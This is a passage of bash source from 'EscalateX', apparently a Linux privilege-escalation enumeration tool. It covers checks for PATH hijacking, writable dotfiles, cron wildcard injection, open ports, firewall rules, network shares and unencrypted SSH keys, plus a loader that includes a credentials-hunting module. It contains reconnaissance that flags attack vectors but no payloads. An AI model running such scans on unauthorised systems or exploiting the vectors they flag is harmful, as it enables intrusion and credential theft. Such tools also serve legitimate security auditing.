"perl" "ruby" "php" "node" "cp" "mv") 60 | 61 | for cmd in "${common_cmds[@]}"; do 62 | cmd_path=$(which "$cmd" 2>/dev/null) 63 | if [ -n "$cmd_path" ]; then 64 | # Check if there are any scripts using this command without a full path 65 | scripts_using_cmd=$(grep -l "^[^#].*[^a-zA-Z0-9\/\._-]$cmd[^a-zA-Z0-9\/\._-]" /etc/cron* /etc/init.d/* /usr/local/bin/* /usr/local/sbin/* 2>/dev/null) 66 | 67 | if [ -n "$scripts_using_cmd" ]; then 68 | print_warning "Command '$cmd' is used without absolute path in scripts:" 69 | echo "$scripts_using_cmd" | head -n 5 | while read -r script; do 70 | print_warning " ${YELLOW}${script}${NC}" 71 | done 72 | 73 | if [ -n "${writable_path_dirs[0]}" ]; then 74 | print_critical "Creating a malicious version in ${writable_path_dirs[0]} may allow privilege escalation" 75 | fi 76 | fi 77 | fi 78 | done 79 | } 80 | 81 | # Check for writable home directory files 82 | check_home_directory_files() { 83 | print_subtitle "Writable Home Directory Files" 84 | 85 | print_info "Checking for writable files in home directories..." 86 | 87 | # Check for specific important dot files 88 | important_dotfiles=(".bashrc" ".bash_profile" ".profile" ".zshrc" ".zshenv" ".zprofile" 89 | ".vimrc" ".ssh/config" ".ssh/authorized_keys" ".config/fish/config.fish" 90 | ".cshrc" ".tcshrc" ".kshrc") 91 | 92 | current_user=$(whoami) 93 | 94 | for dotfile in "${important_dotfiles[@]}"; do 95 | if [ -f "$HOME/$dotfile" ] && [ -w "$HOME/$dotfile" ]; then 96 | print_warning "Writable $HOME/$dotfile found (can be used to maintain persistence)" 97 | fi 98 | done 99 | 100 | # Look for writable files owned by other users or root 101 | if [ "$THOROUGH" ]; then 102 | print_info "Looking for writable files owned by others or root (may take a while)..." 103 | 104 | other_owned_files=$(find /home -type f -writable ! -user "$current_user" 2>/dev/null | grep -v "/.cache/\|/.config/google-chrome\|/.mozilla/\|/.vscode/\|node_modules/") 105 | 106 | if [ -n "$other_owned_files" ]; then 107 | print_critical "Found writable files owned by other users:" 108 | echo "$other_owned_files" | while read -r file; do 109 | owner=$(ls -la "$file" 2>/dev/null | awk '{print $3}') 110 | print_critical " ${RED}${file}${NC} [Owner: ${owner}]" 111 | done 112 | print_critical "These files can be modified to potentially escalate privileges" 113 | else 114 | print_success "No writable files owned by other users found" 115 | fi 116 | fi 117 | } 118 | 119 | # Check for wildcard exploitation opportunities 120 | check_wildcard_injection() { 121 | print_subtitle "Wildcard Injection" 122 | 123 | print_info "Checking for wildcard injection opportunities in scripts..." 124 | 125 | # Look for scripts that use wildcards with tar, cp, rsync, etc. 126 | if [ -d "/etc/cron.daily" ]; then 127 | wildcard_scripts=$(grep -r -l "\*" /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /usr/local/bin 2>/dev/null | grep -v ".git") 128 | 129 | if [ -n "$wildcard_scripts" ]; then 130 | print_warning "Found scripts potentially using wildcards:" 131 | 132 | echo "$wildcard_scripts" | while read -r script; do 133 | if grep -q "tar\s.*\*\|cp\s.*\*\|rsync\s.*\*\|chmod\s.*\*\|chown\s.*\*" "$script" 2>/dev/null; then 134 | print_critical " ${RED}${script}${NC} (contains wildcards with potentially exploitable commands)" 135 | print_critical " Run with: ${RED}wildcard_injection_check${NC} $script" 136 | else 137 | print_warning " ${YELLOW}${script}${NC} (contains wildcards)" 138 | fi 139 | done 140 | 141 | print_warning "Wildcard injection could be possible if the script runs with higher privileges" 142 | else 143 | print_success "No scripts with wildcard usage found" 144 | fi 145 | else 146 | print_not_found "Cron directories not found or not accessible" 147 | fi 148 | } 149 | 150 | # Main function to run all writable files checks 151 | writable_files_checks() { 152 | print_title "Writable Files & Directories" 153 | 154 | # Run all writable files checks 155 | check_writable_etc_files 156 | check_path_hijacking 157 | check_home_directory_files 158 | check_wildcard_injection 159 | 160 | # Wait for user if wait mode is enabled 161 | wait_for_user 162 | } -------------------------------------------------------------------------------- /modules/loader.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Module Loader 4 | # Description: Load and initialize all modules for EscalateX 5 | # Author: Jonas Resch 6 | 7 | # Load core utilities 8 | if [ ! -f "modules/utils/core.sh" ]; then 9 | echo "Error: Core utilities module not found!" >&2 10 | exit 1 11 | fi 12 | 13 | source modules/utils/core.sh 14 | 15 | # Initialize the scan environment 16 | initialize_scan() { 17 | print_debug "Initializing scan environment" 18 | 19 | # Initialize global variables first (needed for start time) 20 | init_globals 21 | 22 | # Check privileges 23 | check_privileges 24 | 25 | # Create a temp directory for scan data if needed 26 | if [ "$EXTREME_SCAN" ] || [ "$THOROUGH" ]; then 27 | TEMP_DIR=$(create_temp_dir) 28 | if [ -n "$TEMP_DIR" ]; then 29 | print_debug "Created temporary directory: $TEMP_DIR" 30 | else 31 | print_error "Failed to create temporary directory. Some checks might fail." 32 | fi 33 | fi 34 | } 35 | 36 | # Function to load a module with error handling 37 | load_module() { 38 | local module_path="$1" 39 | local module_name="$2" 40 | 41 | if [ ! -f "$module_path" ]; then 42 | print_warning "Module not found: $module_path ($module_name)" 43 | # Define stub function to prevent errors if module is critical 44 | # Adjust as needed for other essential modules 45 | case "$module_name" in 46 | "System Information") system_info_checks() { print_error "System Info module missing!"; } ;; 47 | "User Information") user_info_checks() { print_error "User Info module missing!"; } ;; 48 | "SUID/SGID Checker") suid_sgid_checks() { print_error "SUID/SGID module missing!"; } ;; 49 | # Add stubs for other potentially critical modules if desired 50 | esac 51 | return 1 52 | fi 53 | 54 | print_debug "Loading module: $module_name ($module_path)" 55 | source "$module_path" 56 | 57 | if [ $? -ne 0 ]; then 58 | print_warning "Failed to load module: $module_name ($module_path)" 59 | return 1 60 | fi 61 | 62 | return 0 63 | } 64 | 65 | # Function to load all modules 66 | load_modules() { 67 | # System information modules 68 | load_module "modules/system_info/general.sh" "System Information" 69 | 70 | # User information modules 71 | load_module "modules/user_info/users.sh" "User Information" 72 | 73 | # Exploit checking modules 74 | load_module "modules/exploit_checks/suid_sgid.sh" "SUID/SGID Checker" 75 | load_module "modules/exploit_checks/writable_files.sh" "Writable Files" 76 | load_module "modules/exploit_checks/cron_jobs.sh" "Cron Jobs" 77 | load_module "modules/exploit_checks/docker_checks.sh" "Docker Checks" 78 | load_module "modules/exploit_checks/kernel_exploits.sh" "Kernel Exploits" 79 | 80 | # Credentials module 81 | load_module "modules/credentials/credentials_hunter.sh" "Credentials Hunter" 82 | 83 | # Network module (optional?) 84 | if [ -f "modules/network_info/network_checks.sh" ]; then 85 | load_module "modules/network_info/network_checks.sh" "Network Checks" 86 | else 87 | print_debug "Optional module not found: modules/network_info/network_checks.sh" 88 | network_checks() { print_warning "Network checks module not available"; } 89 | fi 90 | 91 | # Conditionally load modules based on scan intensity 92 | local conditional_modules=() 93 | if [ "$THOROUGH" ] || [ "$EXTREME_SCAN" ]; then 94 | print_debug "Loading thorough scan modules" 95 | conditional_modules+=( 96 | "modules/container_checks/container_escape.sh:Container Escape Checks" 97 | "modules/exploit_checks/sudo_helper.sh:Sudo Helper Checks" 98 | # Add other thorough modules here if they exist 99 | # "modules/cloud_checks/aws_azure_gcp.sh:Cloud Environment" 100 | # "modules/kubernetes/kube_checks.sh:Kubernetes" 101 | # "modules/exploit_checks/dbus_checks.sh:D-Bus Checks" 102 | # "modules/exploit_checks/library_checks.sh:Library Checks" 103 | ) 104 | fi 105 | 106 | if [ "$EXTREME_SCAN" ]; then 107 | print_debug "Loading extreme scan modules" 108 | conditional_modules+=( 109 | # Add extreme modules here if they exist 110 | # "modules/memory_checks/memory_analysis.sh:Memory Analysis" 111 | # "modules/exploit_checks/deep_search.sh:Deep Search Checks" 112 | # "modules/exploit_checks/binary_analysis.sh:Binary Analysis Checks" 113 | ) 114 | fi 115 | 116 | for module_info in "${conditional_modules[@]}"; do 117 | IFS=':' read -r module_path module_name <<< "$module_info" 118 | if [ -f "$module_path" ]; then 119 | load_module "$module_path" "$module_name" 120 | else 121 | print_debug "Conditional module not found: $module_path" 122 | # Define stub functions based on module name pattern 123 | func_name=$(basename "$module_path" .sh | sed 's/_checks$//')_checks 124 | eval "${func_name}() { print_warning \"${module_name} module not available\"; }" 125 | fi 126 | done 127 | 128 | print_debug "Finished loading modules" 129 | } 130 | 131 | # Run the appropriate checks based on the options 132 | run_checks() { 133 | # Welcome and initialization 134 | print_debug "Starting EscalateX scan" 135 | 136 | # Initialize (includes HTML header if enabled) 137 | initialize_scan 138 | 139 | # Load modules 140 | load_modules 141 | 142 | print_debug "Running selected checks..." 143 | 144 | # Run checks sequentially, allowing parallel execution within checks if enabled 145 | if [ "$CHECKS" = "all" ]; then 146 | # Basic/Core Checks 147 | system_info_checks 148 | user_info_checks 149 | suid_sgid_checks 150 | writable_files_checks 151 | cron_job_checks 152 | docker_environment_checks # Basic docker checks 153 | kernel_exploit_checks 154 | credentials_hunter_main 155 | 156 | # Network checks if available 157 | if command -v network_checks &>/dev/null; then network_checks; fi 158 | 159 | # Thorough Checks (run if function exists) 160 | if [ "$THOROUGH" ] || [ "$EXTREME_SCAN" ]; then 161 | if command -v container_escape_checks &>/dev/null; then container_escape_checks; fi 162 | if command -v sudo_helper_checks &>/dev/null; then sudo_helper_checks; fi 163 | # Add other thorough checks here 164 | # if command -v cloud_environment_checks &>/dev/null; then cloud_environment_checks; fi 165 | # if command -v kubernetes_checks &>/dev/null; then kubernetes_checks; fi 166 | # if command -v dbus_checks &>/dev/null; then dbus_checks; fi 167 | # if command -v library_checks &>/dev/null; then library_checks; fi 168 | fi 169 | 170 | # Extreme Checks (run if function exists) 171 | if [ "$EXTREME_SCAN" ]; then 172 | # Add extreme checks here 173 | # if command -v memory_analysis &>/dev/null; then memory_analysis; fi 174 | # if command -v deep_search_checks &>/dev/null; then deep_search_checks; fi 175 | # if command -v binary_analysis_checks &>/dev/null; then binary_analysis_checks; fi 176 | print_warning "Extreme scan checks are placeholders/not fully implemented." 177 | fi 178 | 179 | else 180 | # Run only selected checks 181 | IFS=',' read -ra selected_checks <<< "$CHECKS" 182 | print_info "Running only selected checks: ${selected_checks[*]}" 183 | 184 | for check in "${selected_checks[@]}"; do 185 | check=$(echo "$check" | tr -d '[:space:]') 186 | local func_name="" 187 | 188 | # Map check names to function names (adjust as needed) 189 | case "$check" in 190 | system_info) func_name="system_info_checks" ;; 191 | user_info) func_name="user_info_checks" ;; 192 | suid_sgid) func_name="suid_sgid_checks" ;; 193 | writable_files) func_name="writable_files_checks" ;; 194 | cron_jobs) func_name="cron_job_checks" ;; 195 | docker) func_name="docker_environment_checks" ;; # Basic docker checks 196 | kernel) func_name="kernel_exploit_checks" ;; 197 | credentials) func_name="credentials_hunter_main" ;; 198 | network) func_name="network_checks" ;; 199 | container_escape) func_name="container_escape_checks" ;; # Specific escape checks 200 | sudo) func_name="sudo_helper_checks" ;; 201 | # Add mappings for other check types 202 | *) print_warning "Unknown or unavailable check requested: $check" ;; 203 | esac 204 | 205 | # Check if the function exists and run it 206 | if [ -n "$func_name" ] && command -v "$func_name" &>/dev/null; then 207 | print_debug "Running specific check function: $func_name" 208 | eval "$func_name" 209 | elif [ -n "$func_name" ]; then 210 | print_warning "Check function '$func_name' for '$check' not found or module not loaded." 211 | fi 212 | done 213 | fi 214 | 215 | # Wait for any remaining background jobs if multithreaded 216 | wait_for_processes 217 | print_debug "All checks completed." 218 | 219 | # Cleanup temporary resources 220 | cleanup_resources 221 | 222 | # Print summary at the end 223 | print_summary 224 | } 225 | 226 | # Cleanup temporary resources 227 | cleanup_resources() { 228 | if [ -n "$TEMP_DIR" ] && [ -d "$TEMP_DIR" ]; then 229 | print_debug "Cleaning up temporary directory: $TEMP_DIR" 230 | rm -rf "$TEMP_DIR" 231 | fi 232 | } 233 | 234 | # Generate a summary of findings 235 | print_summary() { 236 | # Skip summary if quiet mode 237 | [ "$QUIET" ] && return 238 | 239 | print_title "Scan Summary" 240 | 241 | echo -e "${BLUE}[*] EscalateX scan completed at $(date)${NC}" 242 | 243 | # Calculate and show execution time 244 | END_TIME=$(date +%s) 245 | TOTAL_TIME=$((END_TIME - SCAN_START_TIME)) 246 | local duration_str 247 | if [ "$TOTAL_TIME" -lt 60 ]; then 248 | duration_str="${TOTAL_TIME} seconds" 249 | elif [ "$TOTAL_TIME" -lt 3600 ]; then 250 | duration_str="$((TOTAL_TIME / 60)) minutes, $((TOTAL_TIME % 60)) seconds" 251 | else 252 | duration_str="$((TOTAL_TIME / 3600)) hours, $(((TOTAL_TIME % 3600) / 60)) minutes, $((TOTAL_TIME % 60)) seconds" 253 | fi 254 | echo -e "${BLUE}[*] Total execution time: ${WHITE}${duration_str}${NC}" 255 | 256 | # Show critical findings count 257 | if [ ${#CRITICAL_FINDINGS[@]} -gt 0 ]; then 258 | echo -e "${RED}[!] Critical findings detected: ${#CRITICAL_FINDINGS[@]}${NC}" 259 | echo -e "${RED}[!] Review the highlighted items in the scan results${NC}" 260 | else 261 | echo -e "${GREEN}[+] No critical findings detected${NC}" 262 | fi 263 | 264 | echo -e "${BLUE}[*] Remember to check the most promising privilege escalation vectors highlighted in ${RED}red${NC}" 265 | 266 | # Display a nice message 267 | echo -e "\n${GREEN}Thank you for using EscalateX!${NC}" 268 | } 269 | 270 | # Main initialization function 271 | init_modules() { 272 | # Run the selected checks (this now includes initialization) 273 | run_checks 274 | } -------------------------------------------------------------------------------- /modules/network_info/network_checks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Network Information and Vulnerability Checker 4 | # Description: Check for network misconfigurations and potential lateral movement vectors 5 | # Author: Jonas Resch 6 | 7 | check_network_interfaces() { 8 | print_subtitle "Network Interfaces" 9 | 10 | print_info "Checking network interfaces and configurations..." 11 | 12 | # Get all network interfaces 13 | if command_exists ip; then 14 | interfaces=$(ip -o link show | awk -F': ' '{print $2}') 15 | 16 | if [ -n "$interfaces" ]; then 17 | print_success "Found $(echo "$interfaces" | wc -l) network interfaces:" 18 | 19 | echo "$interfaces" | while read -r interface; do 20 | # Get IP address 21 | ip_addr=$(ip -o -4 addr show "$interface" 2>/dev/null | awk '{print $4}') 22 | ip_addr6=$(ip -o -6 addr show "$interface" 2>/dev/null | awk '{print $4}' | grep -v "fe80") 23 | 24 | # Get interface state 25 | state=$(ip -o link show "$interface" | awk '{print $9}') 26 | 27 | # Get MAC address 28 | mac=$(ip -o link show "$interface" | awk '{print $15}' | grep -E "([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}") 29 | if [ -z "$mac" ]; then 30 | mac=$(ip -o link show "$interface" | awk '{print $17}' | grep -E "([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}") 31 | fi 32 | 33 | # Print interface info 34 | if [ -n "$ip_addr" ]; then 35 | print_success " ${CYAN}$interface${NC}: $ip_addr [$state] [$mac]" 36 | 37 | # Check for internal IPs on external interfaces 38 | if [[ "$interface" =~ ^(eth|en|wl) ]] && [[ "$ip_addr" =~ ^(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.) ]]; then 39 | print_warning " ${YELLOW}→ Private IP detected on potentially external interface${NC}" 40 | fi 41 | elif [ -n "$ip_addr6" ]; then 42 | print_success " ${CYAN}$interface${NC}: $ip_addr6 [$state] [$mac]" 43 | else 44 | print_success " ${CYAN}$interface${NC}: No IPv4/IPv6 address [$state] [$mac]" 45 | fi 46 | 47 | # Check for promiscuous mode 48 | if ip -o link show "$interface" | grep -q "PROMISC"; then 49 | print_critical " ${RED}→ Interface is in PROMISCUOUS mode! Possible network sniffing.${NC}" 50 | fi 51 | done 52 | else 53 | print_warning "No network interfaces found" 54 | fi 55 | elif command_exists ifconfig; then 56 | # Fallback to ifconfig 57 | interfaces=$(ifconfig | grep -E "^[a-zA-Z0-9]+" | awk '{print $1}' | tr -d ':') 58 | 59 | if [ -n "$interfaces" ]; then 60 | print_success "Found $(echo "$interfaces" | wc -l) network interfaces:" 61 | 62 | echo "$interfaces" | while read -r interface; do 63 | # Get IP address 64 | ip_addr=$(ifconfig "$interface" | grep -oP 'inet addr:\K\S+' 2>/dev/null || ifconfig "$interface" | grep -oP 'inet\s+\K\S+' 2>/dev/null) 65 | ip_addr6=$(ifconfig "$interface" | grep -oP 'inet6 addr:\K\S+' 2>/dev/null || ifconfig "$interface" | grep -oP 'inet6\s+\K\S+' 2>/dev/null | grep -v "fe80") 66 | 67 | # Get MAC address 68 | mac=$(ifconfig "$interface" | grep -oP 'HWaddr\s+\K\S+' 2>/dev/null || ifconfig "$interface" | grep -oP 'ether\s+\K\S+' 2>/dev/null) 69 | 70 | # Print interface info 71 | if [ -n "$ip_addr" ]; then 72 | print_success " ${CYAN}$interface${NC}: $ip_addr [$mac]" 73 | elif [ -n "$ip_addr6" ]; then 74 | print_success " ${CYAN}$interface${NC}: $ip_addr6 [$mac]" 75 | else 76 | print_success " ${CYAN}$interface${NC}: No IPv4/IPv6 address [$mac]" 77 | fi 78 | 79 | # Check for promiscuous mode 80 | if ifconfig "$interface" | grep -q "PROMISC"; then 81 | print_critical " ${RED}→ Interface is in PROMISCUOUS mode! Possible network sniffing.${NC}" 82 | fi 83 | done 84 | else 85 | print_warning "No network interfaces found" 86 | fi 87 | else 88 | print_warning "Neither ip nor ifconfig commands are available" 89 | fi 90 | } 91 | 92 | check_listening_ports() { 93 | print_subtitle "Listening Ports" 94 | 95 | print_info "Checking for open ports and listening services..." 96 | 97 | # Check using ss command (preferred) 98 | if command_exists ss; then 99 | # Get listening TCP ports 100 | tcp_ports=$(ss -tlnp 2>/dev/null | grep -v "*:*" | grep "LISTEN") 101 | 102 | if [ -n "$tcp_ports" ]; then 103 | print_success "TCP ports listening for connections:" 104 | 105 | echo "$tcp_ports" | grep -v "127.0.0.1" | while read -r line; do 106 | local_address=$(echo "$line" | awk '{print $4}') 107 | process=$(echo "$line" | grep -oP 'users:\(\("\K[^"]+' | cut -d"," -f1) 108 | 109 | # Identify public-facing services 110 | if echo "$local_address" | grep -qv "127.0.0.1\|::1"; then 111 | port=$(echo "$local_address" | awk -F: '{print $NF}') 112 | 113 | # Check for dangerous ports 114 | case "$port" in 115 | 22) 116 | print_critical " ${RED}SSH${NC} - ${RED}$local_address${NC} - $process" 117 | ;; 118 | 445|139) 119 | print_critical " ${RED}SMB/Samba${NC} - ${RED}$local_address${NC} - $process" 120 | ;; 121 | 3389) 122 | print_critical " ${RED}RDP${NC} - ${RED}$local_address${NC} - $process" 123 | ;; 124 | 23) 125 | print_critical " ${RED}Telnet${NC} - ${RED}$local_address${NC} - $process" 126 | ;; 127 | *) 128 | print_warning " ${YELLOW}$local_address${NC} - $process" 129 | ;; 130 | esac 131 | else 132 | print_success " $local_address - $process" 133 | fi 134 | done 135 | else 136 | print_success "No TCP ports found listening for connections" 137 | fi 138 | 139 | # Get listening UDP ports 140 | udp_ports=$(ss -ulnp 2>/dev/null | grep -v "*:*") 141 | 142 | if [ -n "$udp_ports" ]; then 143 | print_success "UDP ports listening for connections:" 144 | 145 | echo "$udp_ports" | grep -v "127.0.0.1" | while read -r line; do 146 | local_address=$(echo "$line" | awk '{print $4}') 147 | process=$(echo "$line" | grep -oP 'users:\(\("\K[^"]+' | cut -d"," -f1) 148 | 149 | # Identify public-facing services 150 | if echo "$local_address" | grep -qv "127.0.0.1\|::1"; then 151 | port=$(echo "$local_address" | awk -F: '{print $NF}') 152 | 153 | # Check for dangerous ports 154 | case "$port" in 155 | 53) 156 | print_warning " ${YELLOW}DNS${NC} - ${YELLOW}$local_address${NC} - $process" 157 | ;; 158 | 161) 159 | print_warning " ${YELLOW}SNMP${NC} - ${YELLOW}$local_address${NC} - $process" 160 | ;; 161 | 69) 162 | print_warning " ${YELLOW}TFTP${NC} - ${YELLOW}$local_address${NC} - $process" 163 | ;; 164 | *) 165 | print_success " $local_address - $process" 166 | ;; 167 | esac 168 | else 169 | print_success " $local_address - $process" 170 | fi 171 | done 172 | else 173 | print_success "No UDP ports found listening for connections" 174 | fi 175 | # Fallback to netstat 176 | elif command_exists netstat; then 177 | # Get listening TCP ports 178 | tcp_ports=$(netstat -tlnp 2>/dev/null | grep "LISTEN") 179 | 180 | if [ -n "$tcp_ports" ]; then 181 | print_success "TCP ports listening for connections:" 182 | 183 | echo "$tcp_ports" | grep -v "127.0.0.1" | while read -r line; do 184 | local_address=$(echo "$line" | awk '{print $4}') 185 | process=$(echo "$line" | awk '{for(i=7;i<=NF;i++) printf "%s ", $i}') 186 | 187 | # Identify public-facing services 188 | if echo "$local_address" | grep -qv "127.0.0.1\|::1"; then 189 | port=$(echo "$local_address" | awk -F: '{print $NF}') 190 | 191 | # Check for dangerous ports 192 | case "$port" in 193 | 22) 194 | print_critical " ${RED}SSH${NC} - ${RED}$local_address${NC} - $process" 195 | ;; 196 | 445|139) 197 | print_critical " ${RED}SMB/Samba${NC} - ${RED}$local_address${NC} - $process" 198 | ;; 199 | 3389) 200 | print_critical " ${RED}RDP${NC} - ${RED}$local_address${NC} - $process" 201 | ;; 202 | 23) 203 | print_critical " ${RED}Telnet${NC} - ${RED}$local_address${NC} - $process" 204 | ;; 205 | *) 206 | print_warning " ${YELLOW}$local_address${NC} - $process" 207 | ;; 208 | esac 209 | else 210 | print_success " $local_address - $process" 211 | fi 212 | done 213 | else 214 | print_success "No TCP ports found listening for connections" 215 | fi 216 | else 217 | print_warning "Neither ss nor netstat commands are available" 218 | fi 219 | } 220 | 221 | check_iptables_rules() { 222 | print_subtitle "Firewall Rules" 223 | 224 | print_info "Checking firewall configuration..." 225 | 226 | # Check iptables firewall 227 | if command_exists iptables && [ "$IAMROOT" ]; then 228 | iptables_rules=$(iptables -L -n 2>/dev/null) 229 | 230 | if [ -n "$iptables_rules" ]; then 231 | print_success "iptables firewall rules:" 232 | 233 | # Check for default policies 234 | input_policy=$(iptables -L INPUT -n 2>/dev/null | head -n 1 | awk '{print $4}') 235 | forward_policy=$(iptables -L FORWARD -n 2>/dev/null | head -n 1 | awk '{print $4}') 236 | output_policy=$(iptables -L OUTPUT -n 2>/dev/null | head -n 1 | awk '{print $4}') 237 | 238 | # Print policies with appropriate colors 239 | if [ "$input_policy" = "ACCEPT" ]; then 240 | print_warning " ${YELLOW}INPUT chain policy: $input_policy${NC}" 241 | else 242 | print_success " INPUT chain policy: $input_policy" 243 | fi 244 | 245 | if [ "$forward_policy" = "ACCEPT" ]; then 246 | print_warning " ${YELLOW}FORWARD chain policy: $forward_policy${NC}" 247 | else 248 | print_success " FORWARD chain policy: $forward_policy" 249 | fi 250 | 251 | if [ "$output_policy" = "ACCEPT" ]; then 252 | print_success " OUTPUT chain policy: $output_policy" 253 | else 254 | print_warning " ${YELLOW}OUTPUT chain policy: $output_policy${NC}" 255 | fi 256 | 257 | # Check for any REJECT/DROP rules for incoming SSH (port 22) 258 | ssh_blocked=$(iptables -L INPUT -n 2>/dev/null | grep -E "REJECT|DROP" | grep -E "dpt:22|ssh") 259 | if [ -n "$ssh_blocked" ]; then 260 | print_success " SSH (port 22) appears to be blocked by firewall rules" 261 | elif [ "$input_policy" != "DROP" ] && [ "$input_policy" != "REJECT" ]; then 262 | print_warning " ${YELLOW}No specific rules to block SSH (port 22) were found${NC}" 263 | fi 264 | 265 | # Check for empty ruleset 266 | rule_count=$(iptables -L -n 2>/dev/null | grep -E "ACCEPT|REJECT|DROP" | wc -l) 267 | if [ "$rule_count" -lt 3 ]; then 268 | print_warning " ${YELLOW}Very few firewall rules detected ($rule_count). This might be insecure.${NC}" 269 | else 270 | print_success " Total rules: $rule_count" 271 | fi 272 | else 273 | print_warning "iptables is available but no rules were retrieved (might need root privileges)" 274 | fi 275 | elif command_exists ufw; then 276 | # Check UFW status 277 | ufw_status=$(ufw status 2>/dev/null) 278 | 279 | if [ -n "$ufw_status" ]; then 280 | print_success "UFW firewall status:" 281 | 282 | # Check if UFW is active 283 | if echo "$ufw_status" | grep -q "Status: active"; then 284 | print_success " UFW is active" 285 | 286 | # Print any open ports 287 | open_ports=$(echo "$ufw_status" | grep "ALLOW" | grep -v "(v6)") 288 | if [ -n "$open_ports" ]; then 289 | print_warning " ${YELLOW}Open ports:${NC}" 290 | echo "$open_ports" | while read -r line; do 291 | print_warning " ${YELLOW}→ $line${NC}" 292 | 293 | # Check for dangerous open ports 294 | if echo "$line" | grep -qE "22/tcp|23/tcp|3389/tcp|445/tcp"; then 295 | print_critical " ${RED}→ Security critical port is open to incoming connections!${NC}" 296 | fi 297 | done 298 | else 299 | print_success " No open ports detected in UFW rules" 300 | fi 301 | else 302 | print_warning " ${YELLOW}UFW is installed but not active${NC}" 303 | fi 304 | else 305 | print_warning "UFW is available but no status was retrieved (might need root privileges)" 306 | fi 307 | elif command_exists firewall-cmd; then 308 | # Check firewalld status 309 | firewalld_status=$(firewall-cmd --state 2>/dev/null) 310 | 311 | if [ "$firewalld_status" = "running" ]; then 312 | print_success "firewalld is active" 313 | 314 | # Get default zone 315 | default_zone=$(firewall-cmd --get-default-zone 2>/dev/null) 316 | print_success " Default zone: $default_zone" 317 | 318 | # List open ports in default zone 319 | open_ports=$(firewall-cmd --zone="$default_zone" --list-ports 2>/dev/null) 320 | if [ -n "$open_ports" ]; then 321 | print_warning " ${YELLOW}Open ports in $default_zone zone:${NC}" 322 | 323 | # Check for dangerous open ports 324 | for port in $open_ports; do 325 | print_warning " ${YELLOW}→ $port${NC}" 326 | 327 | if [[ "$port" =~ ^(22|23|3389|445)/ ]]; then 328 | print_critical " ${RED}→ Security critical port is open to incoming connections!${NC}" 329 | fi 330 | done 331 | else 332 | print_success " No open ports detected in $default_zone zone" 333 | fi 334 | else 335 | print_warning " ${YELLOW}firewalld is installed but not active${NC}" 336 | fi 337 | else 338 | print_warning "No supported firewall (iptables, ufw, firewalld) detected" 339 | fi 340 | } 341 | 342 | check_network_shares() { 343 | print_subtitle "Network Shares" 344 | 345 | print_info "Checking for shared network resources..." 346 | 347 | # Check for NFS exports 348 | if [ -f /etc/exports ]; then 349 | nfs_shares=$(grep -v "^#" /etc/exports 2>/dev/null | grep -v "^$") 350 | 351 | if [ -n "$nfs_shares" ]; then 352 | print_warning "NFS shares exported to the network:" 353 | 354 | echo "$nfs_shares" | while read -r line; do 355 | print_warning " ${YELLOW}→ $line${NC}" 356 | 357 | # Check for dangerous NFS options 358 | if echo "$line" | grep -qE "no_root_squash|no_all_squash"; then 359 | print_critical " ${RED}→ This NFS share has dangerous options (no_root_squash)!${NC}" 360 | print_critical " ${RED}→ Remote root users can create files as root on this system.${NC}" 361 | fi 362 | done 363 | else 364 | print_success "No NFS shares found" 365 | fi 366 | fi 367 | 368 | # Check for Samba shares 369 | if [ -f /etc/samba/smb.conf ]; then 370 | samba_shares=$(grep -E "^\s*\[.*\]" /etc/samba/smb.conf 2>/dev/null | grep -v "\[global\]") 371 | 372 | if [ -n "$samba_shares" ]; then 373 | print_warning "Samba shares available on the network:" 374 | 375 | echo "$samba_shares" | while read -r line; do 376 | share_name=$(echo "$line" | tr -d '[]') 377 | print_warning " ${YELLOW}→ $share_name${NC}" 378 | 379 | # Get share path and permissions 380 | path=$(grep -A 20 "^\s*\[$share_name\]" /etc/samba/smb.conf | grep "path" | head -n 1 | awk -F= '{print $2}' | tr -d ' ') 381 | writable=$(grep -A 20 "^\s*\[$share_name\]" /etc/samba/smb.conf | grep -E "writable|writeable" | head -n 1) 382 | guest_ok=$(grep -A 20 "^\s*\[$share_name\]" /etc/samba/smb.conf | grep "guest ok" | head -n 1) 383 | 384 | if [ -n "$path" ]; then 385 | print_warning " ${YELLOW}→ Path: $path${NC}" 386 | 387 | # Check for dangerous Samba configurations 388 | if echo "$writable" | grep -q "yes"; then 389 | print_warning " ${YELLOW}→ Share is writable${NC}" 390 | fi 391 | 392 | if echo "$guest_ok" | grep -q "yes"; then 393 | print_critical " ${RED}→ Guest access is allowed!${NC}" 394 | fi 395 | fi 396 | done 397 | else 398 | print_success "No Samba shares found" 399 | fi 400 | fi 401 | 402 | # Check for mounted network shares 403 | mounted_shares=$(mount | grep -E "nfs|cifs|smb") 404 | 405 | if [ -n "$mounted_shares" ]; then 406 | print_warning "Mounted network shares:" 407 | 408 | echo "$mounted_shares" | while read -r line; do 409 | print_warning " ${YELLOW}→ $line${NC}" 410 | done 411 | else 412 | print_success "No mounted network shares found" 413 | fi 414 | } 415 | 416 | check_network_credentials() { 417 | print_subtitle "Network Credentials" 418 | 419 | print_info "Checking for stored network credentials..." 420 | 421 | # Check for SSH keys 422 | if [ -d "$HOME/.ssh" ]; then 423 | ssh_files=$(find "$HOME/.ssh" -type f -name "id_*" 2>/dev/null) 424 | 425 | if [ -n "$ssh_files" ]; then 426 | print_warning "SSH keys found:" 427 | 428 | echo "$ssh_files" | while read -r key; do 429 | # Check key permissions 430 | key_perms=$(ls -la "$key" | awk '{print $1}') 431 | 432 | if [[ "$key_perms" =~ [g|o][r|w|x] ]]; then 433 | print_critical " ${RED}→ $key${NC} [$key_perms] (Bad permissions!)" 434 | else 435 | print_warning " ${YELLOW}→ $key${NC} [$key_perms]" 436 | fi 437 | 438 | # Check if key is encrypted 439 | if [[ "$key" != *.pub ]] && grep -q "ENCRYPTED" "$key" 2>/dev/null; then 440 | print_success " → Key is encrypted with a passphrase" 441 | elif [[ "$key" != *.pub ]]; then 442 | print_critical " ${RED}→ Key is NOT encrypted with a passphrase!${NC}" 443 | fi 444 | done 445 | else 446 | print_success "No SSH keys found" 447 | fi 448 | fi 449 | 450 | # Check SSH authorized_keys 451 | if [ -f "$HOME/.ssh/authorized_keys" ]; then 452 | authorized_keys=$(cat "$HOME/.ssh/authorized_keys" 2>/dev/null | grep -v "^#" | grep -v "^$") 453 | 454 | if [ -n "$authorized_keys" ]; then 455 | print_warning "SSH authorized_keys entries:" 456 | 457 | 